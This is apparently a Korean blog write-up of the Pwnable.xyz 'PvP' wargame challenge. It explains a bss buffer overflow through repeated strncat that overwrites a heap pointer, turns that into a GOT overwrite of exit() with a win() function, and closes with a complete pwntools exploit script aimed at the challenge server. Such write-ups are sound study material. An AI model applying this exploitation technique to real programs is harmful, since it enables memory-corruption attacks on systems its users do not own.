tmxklab

[Pwnable.xyz] PvP 본문

War Game/Pwnable.xyz

[Pwnable.xyz] PvP

tmxk4221 2020. 9. 9. 22:24

1. 문제

nc svc.pwnable.xyz 30022

 

1) mitigation 확인

 

2) 문제 확인

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  puts("PvP - Programmatically vulnerable Program");
  while ( 1 )
  {
    print_menu();
    switch ( (unsigned __int64)(unsigned int)read_int32() )
    {
      case 0uLL:
        return 0;
      case 1uLL:
        if ( dword_6026A8 )
          short_append();
        else
          puts("Message is empty.");
        break;
      case 2uLL:
        if ( dword_6026A8 )
        {
          puts("Message already there.");
        }
        else
        {
          long_append();
          dword_6026A8 = 1;
        }
        break;
      case 3uLL:
        if ( dest )
          printf("Your msg %s\n", dest);
        break;
      case 4uLL:
        save_it();
        break;
      default:
        puts("Invalid");
        break;
    }
  }
}
  • 메뉴 1 : dword_6026a8(전역변수)에 값이 존재하면 short_append()실행하고 없으면 puts()로 문자열 출력
  • 메뉴 2 : dword_6026a8에 값이 존재하면 puts()로 문자열 출력하고 없으면 long_append()실행 후 dword_6026a8에 1로 초기화
  • 메뉴 3 : dest(전역변수)에 값이 존재하면 dest에 있는 값 출력
  • 메뉴 4 : save_it()호출

 

3-2) short_append()

unsigned __int64 short_append()
{
  int v1; // [rsp+Ch] [rbp-34h]
  char s; // [rsp+10h] [rbp-30h]
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v1 = rand() % 32;
  printf("Give me %d chars: ", (unsigned int)v1);
  memset(&s, 0, 0x20uLL);
  read(0, &s, v1);
  strncat(x, &s, v1);
  return __readfsqword(0x28u) ^ v3;
}
  • v1에 0 ~ 31범위의 난수를 생성하고 read()를 통해 s변수에 v1만큼 입력을 받는다.
  • x(전역변수)에 s변수의 문자열을 붙인다.

 

3-3) long_append()

char *long_append()
{
  int v1; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  v1 = rand() & 0x3FF;
  printf("Give me %d chars: ", (unsigned int)v1);
  buf = calloc(v1, 1uLL);
  read(0, buf, v1);
  return strncat(x, (const char *)buf, v1);
}
  • v1에 0 ~ 0x3fe범위의 난수 생성 뒤 buf에 v1만큼의 메모리 할당을 받는다.
  • read()를 통해 buf에 v1만큼 입력 값을 받고 x에 buf문자열을 붙인다.

 

3-4) save_it()

int save_it()
{
  size_t v0; // rax
  int result; // eax
  unsigned int n; // [rsp+Ch] [rbp-4h]

  if ( !dest )
  {
    v0 = strlen(x);
    dest = (char *)malloc(v0);
  }
  printf("How many bytes is your message? ");
  n = read_int32();
  if ( n <= 0x400 )
    result = (unsigned __int64)strncpy(dest, x, n);
  else
    result = puts("Invalid");
  return result;
}
  • dest에 값이 존재하지 않으면 dest에 x의 문자열 길이만큼 malloc()한다.
  • n에 입력 값을 받아 0x400보다 작거나 같으면 dest에 x의 문자열을 n크기만큼 복사한다. 0x400보다 크면은 puts()로 문자열 출력한다.

 

전역변수)

  • x : 0x6022a0
  • dest : 0x6026a0
  • dword_6026a8 : 0x6026a8

2. 접근방법

 

로직)

  • short_append() or long_append()를 통해 x(전역변수)에 문자열을 계속 이어붙일 수 있다.
  • 메뉴 4의 save_it()을 통해 x변수에 저장된 문자열 길이만큼 메모리 할당을 하여 청크의 주소를 dest(전역변수)에 저장하고 할당된 힙 영역에 x변수의 문자열을 strncpy()를 통해 복사한다.
  • 메뉴 3을 통해 dest값을 출력한다.

bss영역에 있는 x변수로부터 1024byte떨어진 곳에 dest가 존재하며 short_append() 또는 long_append()를 통해 계속 이어 붙이다보면 경계값 검사가 존재하지 않으므로 dest까지 침범할 수 있다.

 

save_it()을 수행하면 dest에 청크의 주소가 존재하지 않으면 malloc을 실행하고 존재하면 strncpy(dest, x, n)을 수행한다.

정상적인 로직이라면 dest에는 메모리 할당된 청크의 주소가 존재하지만 x변수에 계속 문자열을 이어 붙이다 보면 dest까지 침범할 수 있다.

 

따라서, save_it()을 하게 되면 dest에는 값이 존재하여 그대로 dest에 존재하는 값을 주소로 참조하여 x의 값을 복사한다.

그럼 먼저 got overwrite가 가능한 함수들을 찾아보자

  • 현재 short_append(), long_append(), save_it()함수까지 호출한 상황이다.

  • 사용할 수 있는 함수가 __stack_chk_fail()과 system(), memset(), exit()가 보인다. -> 왜냐하면 win함수의 주소 값이 3byte이므로 나머지 매핑된 함수들에다가 3byte쓰면 안됨
  • __stack_chk_fail()은 카나리 값이 변조되어야 호출되어야 한다.
  • system()와 memset()은 메인 함수 루틴에 안보이므로 탈락이다.
  • exit()는 어디서 사용되는지 확인해 본 결과 메인 함수 시작할 떄 setup()에서 확인할 수 있다.
void setup()
{
  unsigned int v0; // eax

  setvbuf(&_bss_start, 0LL, 2, 0LL);
  setvbuf(&IO_2_1_stdin_, 0LL, 2, 0LL);
  signal(14, (__sighandler_t)handler);
  alarm(60u);
  v0 = time(0LL);
  srand(v0);
}
  • setup()에서 SIGALRM이 발생할 떄 처리하는 handler함수를 지정하고 60초 후에 SIGALRM이 발생하는 alarm()를 설정하였다.
void __noreturn handler()
{
  exit(1);
}
  • 그리고 handler()에는 exit()가 존재하는 것을 확인할 수 있다.
  • 1분이 지난 뒤에 프로그램을 종료하려는 의도로 보인다.

따라서, 우리는 exit@got overwrite를 하고 1분이 지나면 exit()대신에 win()를 호출하도록 해야한다.

 

공격 프로세스)

  • x에 win() address 3byte와 dummy값 (1024 - 3)byte, 마지막으로 dest에 위치하는 곳에 exit@got를 넣는다.
  • save_it()을 통해 exit@got에 win함수의 주소 값이 들어간다.
  • 1분이 지나면 alarm()에 의해 프로세스에 signal(SIGALRM)을 보내면서 handler()가 실행되는데 이 때, handler()에는 exit()가 존재한다.

 

 


3. 풀이

 

1) 익스코드

from pwn import *

context.log_level = "debug"

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30022)
e = ELF("./challenge")
#gdb.attach(p)

puts_got = e.got['puts']
exit_got = e.got['exit']
win_addr = e.symbols['win']
count = 1024

log.info("puts@got : "+hex(puts_got))
log.info("exit@got : "+hex(exit_got))
log.info("win_addr : "+hex(win_addr))

p.sendlineafter("> ", str(2))
p.recvuntil("me ")
num = int(p.recvuntil(" c")[:-2])

# 1. input 1024bytes 
payload = "\x2d\x0b\x40"
payload += "A"*(num-3)
p.sendafter(": ", payload)
count -= num
log.info("count : "+str(count))

while count > 0:
    p.sendlineafter("> ", str(1))
    p.recvuntil("me ")
    num = int(p.recvuntil(" c")[:-2])
    if count > num:
        p.sendafter(": ", "A"*num)
    else:
        p.sendafter(": ", "A"*count)
    count -= num
    log.info("count : "+str(count))
    

# 2. input exit@got -> dest
p.sendlineafter("> ", str(1))
p.recvuntil("me ")
num = int(p.recvuntil(" c")[:-2])
if num > 3:
    p.sendafter(": ", "\xa0\x20\x60")

# 3. got@overwrite
p.sendlineafter("> ", str(4))
p.sendlineafter("? ", str(3))

p.interactive()

 

 

2) 실행결과

 


4. 몰랐던 개념

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] punch it  (0) 2020.09.09
[Pwnable.xyz] catalog  (0) 2020.09.09
[Pwnable.xyz] bookmark  (0) 2020.09.09
[Pwnable.xyz] rwsr  (0) 2020.09.09
[Pwnable.xyz] fclose  (0) 2020.09.09
Comments